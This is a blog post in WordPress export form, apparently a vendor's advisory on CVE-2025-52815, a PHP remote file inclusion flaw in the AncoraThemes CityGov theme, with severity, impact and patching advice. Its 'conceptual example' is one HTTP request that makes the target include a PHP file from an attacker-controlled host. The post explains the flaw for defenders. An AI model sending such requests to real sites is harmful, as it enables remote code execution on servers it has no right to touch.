{"id":57862,"date":"2025-07-06T14:41:03","date_gmt":"2025-07-06T14:41:03","guid":{"rendered":""},"modified":"2025-09-10T11:37:51","modified_gmt":"2025-09-10T17:37:51","slug":"cve-2025-52815-php-remote-file-inclusion-vulnerability-in-ancorathemes-citygov","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-52815-php-remote-file-inclusion-vulnerability-in-ancorathemes-citygov\/","title":{"rendered":"<strong>CVE-2025-52815: PHP Remote File Inclusion Vulnerability in AncoraThemes CityGov<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Common Vulnerabilities and Exposures (CVE) system has recently released a vulnerability report CVE-2025-52815, which underscores a significant potential security issue in AncoraThemes CityGov. This vulnerability pertains to an &#8216;Improper Control of Filename for Include\/Require Statement in PHP Program&#8217; or more commonly known as &#8216;PHP Remote File Inclusion&#8217;. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2015-0843-critical-buffer-overflow-vulnerability-in-yubiserver-before-version-0-6\/\"  data-wpil-monitor-id=\"65152\">vulnerability affects the versions<\/a> of CityGov from n\/a through 1.9. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4383-critical-authentication-vulnerability-in-wi-fi-cloud-hotspot\/\"  data-wpil-monitor-id=\"64353\">vulnerability is critical<\/a> because it can lead to a potential system compromise or data leakage, making it a significant concern for the cybersecurity community.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-52815<br \/>\nSeverity: High (8.1 CVSS Severity Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6435-firefox-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"64815\">Potential system compromise and data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1179437768\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>AncoraThemes CityGov | n\/a through 1.9<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The PHP Remote <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32977-unauthenticated-backup-file-upload-vulnerability-in-quest-kace-systems-management-appliance\/\"  data-wpil-monitor-id=\"64420\">File Inclusion vulnerability<\/a> in AncoraThemes CityGov works by leveraging the improper control of filename for include\/require statement in PHP Program. This allows an attacker to inject malicious PHP scripts or <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20282-unauthenticated-file-upload-and-execution-vulnerability-in-cisco-ise-and-ise-pic\/\"  data-wpil-monitor-id=\"64479\">files to be included and executed<\/a> by the server. The vulnerability allows for Local File Inclusion (LFI), which permits attackers to include local files from the server, potentially exposing <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6560-sapido-wireless-routers-exposure-of-sensitive-information-vulnerability\/\"  data-wpil-monitor-id=\"64462\">sensitive information<\/a> or executing malicious code.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-825084532\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP request, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8714-critical-postgresql-vulnerability-allowing-malicious-code-injection-by-superusers\/\"  data-wpil-monitor-id=\"80734\">injected with a malicious<\/a> payload.<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/attacker.com\/malicious.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the attacker tricks the server into including and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55345-arbitrary-file-overwrite-and-remote-code-execution-vulnerability-in-codex-cli\/\"  data-wpil-monitor-id=\"76790\">executing the malicious.php file<\/a> from their server.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Given the high <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32281-high-severity-missing-authorization-vulnerability-in-focuxtheme-wpkit-for-elementor\/\"  data-wpil-monitor-id=\"65301\">severity of this vulnerability<\/a>, it&#8217;s paramount to apply the vendor-released patch immediately. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. These systems can be configured to block or alert on <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46414-unlimited-pin-attempts-vulnerability-in-api\/\"  data-wpil-monitor-id=\"81235\">attempts to exploit this vulnerability<\/a> until the official patch can be applied. However, this is a stop-gap solution, and appropriate patches should be applied as soon as possible to fully mitigate the risk.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Common Vulnerabilities and Exposures (CVE) system has recently released a vulnerability report CVE-2025-52815, which underscores a significant potential security issue in AncoraThemes CityGov. This vulnerability pertains to an &#8216;Improper Control of Filename for Include\/Require Statement in PHP Program&#8217; or more commonly known as &#8216;PHP Remote File Inclusion&#8217;. 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